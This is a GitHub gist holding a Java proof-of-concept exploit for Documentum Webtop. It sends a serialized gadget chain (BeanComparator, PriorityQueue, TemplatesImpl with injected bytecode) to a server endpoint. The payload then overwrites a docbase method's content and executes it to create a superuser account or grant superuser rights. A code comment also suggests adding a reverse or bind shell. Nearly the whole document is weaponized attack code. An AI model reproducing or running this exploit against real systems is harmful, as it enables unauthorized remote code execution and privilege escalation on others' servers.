Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save andreybpanfilov/9b80225bab54772029a3 to your computer and use it in GitHub Desktop.
Save andreybpanfilov/9b80225bab54772029a3 to your computer and use it in GitHub Desktop.
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.math.BigInteger;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.PriorityQueue;
import org.apache.commons.beanutils.BeanComparator;
import com.documentum.thirdparty.javassist.ClassClassPath;
import com.documentum.thirdparty.javassist.ClassPool;
import com.documentum.thirdparty.javassist.CtClass;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
/**
* @author Andrey B. Panfilov <andrey@panfilov.tel>
*/
public class DocumentumWebtopCommonsBeanutilsPoC {
public static void main(String[] args) throws Exception {
String url = args[0];
String userName = args[1];
final TemplatesImpl templates = createTemplatesImpl(makeCode(userName));
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
setFieldValue(comparator, "property", "outputProperties");
// switch contents of queue
final Object[] queueArray = (Object[]) getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = templates;
HttpURLConnection conn = (HttpURLConnection) new URL(makeUrl(url)).openConnection();
conn.setRequestProperty("Content-Type", "pwned");
conn.setRequestMethod("POST");
conn.setUseCaches(false);
conn.setDoOutput(true);
ObjectOutputStream oos = new ObjectOutputStream(conn.getOutputStream());
oos.writeObject(queue);
conn.connect();
System.out.println("Response code: " + conn.getResponseCode());
}
public static String makeUrl(String url) {
if (!url.endsWith("/")) {
url += "/";
}
return url + "wdk5-appletresultsink";
}
static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
static TemplatesImpl createTemplatesImpl(final String code) throws Exception {
final TemplatesImpl templates = new TemplatesImpl();
// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
clazz.makeClassInitializer().insertAfter(code);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
final byte[] classBytes = clazz.toBytecode();
// inject class bytes into instance
setFieldValue(templates, "_bytecodes", new byte[][] { classBytes, classAsBytes(Foo.class) });
// required to make TemplatesImpl happy
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
static Field getField(final Class<?> clazz, final String fieldName) throws Exception {
Field field = clazz.getDeclaredField(fieldName);
if (field == null && clazz.getSuperclass() != null) {
field = getField(clazz.getSuperclass(), fieldName);
}
field.setAccessible(true);
return field;
}
public static class StubTransletPayload extends AbstractTranslet implements Serializable {
private static final long serialVersionUID = -5971610431559700674L;
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
throws TransletException {
}
}
static byte[] classAsBytes(final Class<?> clazz) {
try {
final byte[] buffer = new byte[1024];
final String file = classAsFile(clazz);
final InputStream in = DocumentumWebtopCommonsBeanutilsPoC.class.getClassLoader().getResourceAsStream(file);
if (in == null) {
throw new IOException("couldn't find '" + file + "'");
}
final ByteArrayOutputStream out = new ByteArrayOutputStream();
int len;
while ((len = in.read(buffer)) != -1) {
out.write(buffer, 0, len);
}
return out.toByteArray();
} catch (IOException e) {
throw new RuntimeException(e);
}
}
static String classAsFile(final Class<?> clazz) {
return classAsFile(clazz, true);
}
public static String classAsFile(final Class<?> clazz, boolean suffix) {
String str;
if (clazz.getEnclosingClass() == null) {
str = clazz.getName().replace(".", "/");
} else {
str = classAsFile(clazz.getEnclosingClass(), false) + "$" + clazz.getSimpleName();
}
if (suffix) {
str += ".class";
}
return str;
}
// required to make TemplatesImpl happy
public static class Foo implements Serializable {
private static final long serialVersionUID = 8207363842866235160L;
}
public static String makeCode(String userName) {
String code = "com.documentum.fc.client.IDfSession session = com.documentum.fc.impl.RuntimeContext.getInstance()\n"
+ " .getSessionRegistry().getAllSessions().iterator().next();\n"
+ "com.documentum.fc.client.IDfMethodObject methodObject = (com.documentum.fc.client.IDfMethodObject) session\n"
+ " .getObjectByQualification(\"dm_method WHERE use_method_content=TRUE and method_verb like 'dmbasic -e%'\");\n"
+ "com.documentum.fc.client.impl.connection.docbase.IDocbaseConnection connection = ((com.documentum.fc.client.impl.session.ISession) session)\n"
+ " .getDocbaseConnection();\n" + "\n"
+ "System.out.println(\"Trying to poison docbase method \" + methodObject.getObjectName());\n"
+ "System.out.println(\"Current permissions for method object: \" + methodObject.getPermit());\n"
+ "String methodVerb = methodObject.getMethodVerb();\n"
+ "System.out.println(\"Method verb: \" + methodVerb);\n"
+ "methodVerb = methodVerb.substring(\"dmbasic -e\".length());\n"
+ "System.out.println(\"Method function: \" + methodVerb);\n"
+ "String newContent = \"Const glabel As String = \\\"Label\\\"\\n\"\n"
+ " + \"Const ginfo As String = \\\"Info\\\"\\n\" + \"Const gerror As String = \\\"Error\\\"\\n\"\n"
+ " + \"\\n\" + \"Private Sub PrintMessage(mssg As String, mssgtype As String)\\n\"\n"
+ " + \" If(mssgtype=glabel) Then\\n\" + \" Print \\\"<BR><B><FONT size=3>\\\"\\n\"\n"
+ " + \" Print mssg\\n\" + \" print \\\"</FONT></B>\\\"\\n\" + \" ElseIf(mssgtype=ginfo) Then\\n\"\n"
+ " + \" Print \\\"<BR><FONT color=blue>\\\"\\n\" + \" Print mssg\\n\"\n"
+ " + \" print \\\"</FONT>\\\"\\n\" + \" ElseIf(mssgtype=gerror) Then\\n\"\n"
+ " + \" Print \\\"<BR><FONT color=red size=3>\\\"\\n\" + \" Print mssg\\n\"\n"
+ " + \" print \\\"</FONT>\\\"\\n\" + \" Else\\n\" + \" Print \\\"<BR>\\\" & mssg\\n\" + \" End If\\n\"\n"
+ " + \"End Sub\\n\" + \"Private Sub SetupSuperUser(TargetUser As String)\\n\"\n"
+ " + \" objectid$ = dmAPIGet(\\\"id,c,dm_user where user_name = '\\\" & TargetUser & \\\"'\\\")\\n\"\n"
+ " + \" If objectid$ <> \\\"\\\" then\\n\"\n"
+ " + \" Status = dmAPISet(\\\"set,c,\\\" & objectid$ & \\\",user_privileges\\\",16)\\n\"\n"
+ " + \" Status = dmAPIExec(\\\"save,c,\\\" & objectid$)\\n\" + \" Else \\n\"\n"
+ " + \" objectid$ = dmAPIGet(\\\"create,c,dm_user\\\")\\n\"\n"
+ " + \" Status = dmAPISet(\\\"set,c,\\\" & objectid$ & \\\",user_privileges\\\",16)\\n\"\n"
+ " + \" Status = dmAPISet(\\\"set,c,\\\" & objectid$ & \\\",user_name\\\",TargetUser)\\n\"\n"
+ " + \" Status = dmAPISet(\\\"set,c,\\\" & objectid$ & \\\",user_login_name\\\",TargetUser)\\n\"\n"
+ " + \" Status = dmAPISet(\\\"set,c,\\\" & objectid$ & \\\",user_password\\\",TargetUser)\\n\"\n"
+ " + \" Status = dmAPISet(\\\"set,c,\\\" & objectid$ & \\\",user_source\\\",\\\"inline password\\\")\\n\"\n"
+ " + \" Status = dmAPIExec(\\\"save,c,\\\" & objectid$)\\n\" + \" End If\\n\" + \"End Sub\\n\" + \"\\n\"\n"
+ " + \"Sub Migration_Agent(DocbaseName As String, UserName As String, TargetUser As String)\\n\"\n"
+ " + \" Dim SessionID As String\\n\" + \"\\n\"\n"
+ " + \" SessionID= dmAPIGet(\\\"connect,\\\" & DocbaseName & \\\",\\\" & UserName & \\\",\\\")\\n\"\n"
+ " + \" If SessionID =\\\"\\\" Then\\n\"\n"
+ " + \" Print \\\"Fail to connect to docbase \\\" & DocbaseName &\\\" as user \\\" & UserName\\n\"\n"
+ " + \" DmExit(-1)\\n\" + \" Else\\n\"\n"
+ " + \" Print \\\"Connect to docbase \\\" & DocbaseName &\\\" as user \\\" & UserName\\n\" + \" End If\\n\" + \"\\n\"\n"
+ " + \" Call SetupSuperUser(TargetUser)\\n\" + \"\\n\" + \"End Sub\\n\" + \"\\n\";\n" + "\n"
+ "System.out.println(\"Trying to inject new content:\\n\" + newContent);\n" + "\n"
+ "com.documentum.fc.client.IDfSysObject donor = (com.documentum.fc.client.IDfSysObject) session\n"
+ " .newObject(\"dm_document\");\n"
+ "java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();\n"
+ "baos.write(newContent.toString().getBytes());\n" + "donor.setContentEx(baos, \"text\", 0);\n"
+ "donor.save();\n" + "System.out.println(\"Donor id is: \" + donor.getObjectId());\n" + "\n"
+ "com.documentum.fc.client.content.IDfContent donorContent = (com.documentum.fc.client.content.IDfContent) session\n"
+ " .getObject(donor.getContentsId());\n"
+ "com.documentum.fc.client.content.IDfContent methodContent = (com.documentum.fc.client.content.IDfContent) session\n"
+ " .getObject(methodObject.getContentsId());\n" + "\n" + "boolean success = false;\n" + "\n"
+ "System.out.println(\"Trying to override content of dm_method using SAVE_CONT_ATTRS RPC...\");\n"
+ "try {\n"
+ " com.documentum.fc.client.impl.typeddata.ITypedData arguments = new com.documentum.fc.client.impl.typeddata.DynamicallyTypedData();\n"
+ " arguments.setInt(\"data_ticket\", donorContent.getDataTicket());\n"
+ " arguments.setInt(\"page\", 0);\n"
+ " arguments.setId(\"storage_id\", donorContent.getStorageId());\n"
+ " arguments.setId(\"format\", donorContent.getFormatId());\n"
+ " arguments.setLong(\"content_size\", donorContent.getContentSize());\n"
+ " arguments.setLong(\"full_content_size\", donorContent.getContentSize());\n"
+ " arguments.setString(\"OBJECT_TYPE\", \"dmr_content\");\n"
+ " arguments.setInt(\"i_vstamp\", methodContent.getVStamp());\n"
+ " arguments.setBoolean(\"IS_NEW_OBJECT\", false);\n"
+ " int handle = connection.applyForInt(\"SAVE_CONT_ATTRS\", methodObject.getContentsId(), arguments, true, true,\n"
+ " true);\n" + " success = true;\n"
+ "} catch (com.documentum.fc.common.DfException ex) {\n" + " System.out.println(\"Failed\");\n"
+ "}\n" + "\n" + "if (!success) {\n"
+ " System.out.println(\"Trying to override content of dm_method using bindfile capability...\");\n"
+ " try {\n"
+ " com.documentum.fc.client.IDfSysObject newObject = (com.documentum.fc.client.IDfSysObject) session\n"
+ " .newObject(\"dm_document\");\n"
+ " newObject.bindFile(0, methodObject.getObjectId(), 0);\n" + " newObject.save();\n"
+ " com.documentum.fc.client.impl.typeddata.ITypedData arguments = new com.documentum.fc.client.impl.typeddata.DynamicallyTypedData();\n"
+ " arguments.setInt(\"data_ticket\", donorContent.getDataTicket());\n"
+ " arguments.setInt(\"page\", 0);\n"
+ " arguments.setId(\"storage_id\", donorContent.getStorageId());\n"
+ " arguments.setId(\"format\", donorContent.getFormatId());\n"
+ " arguments.setLong(\"content_size\", donorContent.getContentSize());\n"
+ " arguments.setLong(\"full_content_size\", donorContent.getContentSize());\n"
+ " arguments.setString(\"OBJECT_TYPE\", \"dmr_content\");\n"
+ " arguments.setInt(\"i_vstamp\", methodContent.getVStamp());\n"
+ " arguments.setBoolean(\"IS_NEW_OBJECT\", false);\n"
+ " int handle = connection.applyForInt(\"SAVE_CONT_ATTRS\", methodObject.getContentsId(), arguments, true,\n"
+ " true, true);\n" + " success = true;\n"
+ " } catch (com.documentum.fc.common.DfException ex) {\n"
+ " System.out.println(\"Failed\");\n" + " }\n" + "}\n" + "\n" + "if (!success) {\n"
+ " System.out.println(\"Trying to override content of dm_method by destroying content...\");\n"
+ " try {\n"
+ " com.documentum.fc.client.impl.typeddata.ITypedData arguments = new com.documentum.fc.client.impl.typeddata.DynamicallyTypedData();\n"
+ " arguments.setString(\"OBJECT_TYPE\", \"dmr_content\");\n"
+ " arguments.setInt(\"i_vstamp\", methodContent.getVStamp());\n"
+ " connection.applyForInt(\"dmDisplayConfigExpunge\", methodObject.getContentsId(), arguments, true, true,\n"
+ " true);\n"
+ " arguments = new com.documentum.fc.client.impl.typeddata.DynamicallyTypedData();\n"
+ " arguments.setInt(\"data_ticket\", donorContent.getDataTicket());\n"
+ " arguments.setInt(\"page\", 0);\n"
+ " arguments.setId(\"storage_id\", donorContent.getStorageId());\n"
+ " arguments.setId(\"format\", donorContent.getFormatId());\n"
+ " arguments.setLong(\"content_size\", donorContent.getContentSize());\n"
+ " arguments.setLong(\"full_content_size\", donorContent.getContentSize());\n"
+ " arguments.setString(\"OBJECT_TYPE\", \"dmr_content\");\n"
+ " arguments.appendId(\"parent_id\", methodObject.getObjectId());\n"
+ " arguments.setBoolean(\"IS_NEW_OBJECT\", true);\n"
+ " int handle = connection.applyForInt(\"SAVE_CONT_ATTRS\", methodObject.getContentsId(), arguments, true,\n"
+ " true, true);\n" + " success = true;\n"
+ " } catch (com.documentum.fc.common.DfException ex) {\n"
+ " System.out.println(\"Failed\");\n" + " }\n" + "}\n" + "\n" + "if (!success) {\n"
+ " System.out.println(\"Unable to poison docbase method\");\n" + " return;\n" + "}\n" + "\n"
+ "System.out.println(\"Executing poisoned method\");\n" + "try {\n"
+ " String queryStr = \"EXECUTE DO_METHOD WITH METHOD='\" + methodObject.getObjectName() + \"', ARGUMENTS='\"\n"
+ " + session.getDocbaseName() + \" \" + session.getServerConfig().getString(\"r_install_owner\") + \" \"\n"
+ " + \"" + userName + "\" + \"'\";\n" + " System.out.println(\"QUERY: \" + queryStr);\n"
+ " com.documentum.fc.client.IDfQuery query = new com.documentum.fc.client.DfQuery(queryStr);\n"
+ " query.execute(session, 3);\n" + "} catch (Exception ex) {\n" + " ex.printStackTrace();\n"
+ "}";
return code;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment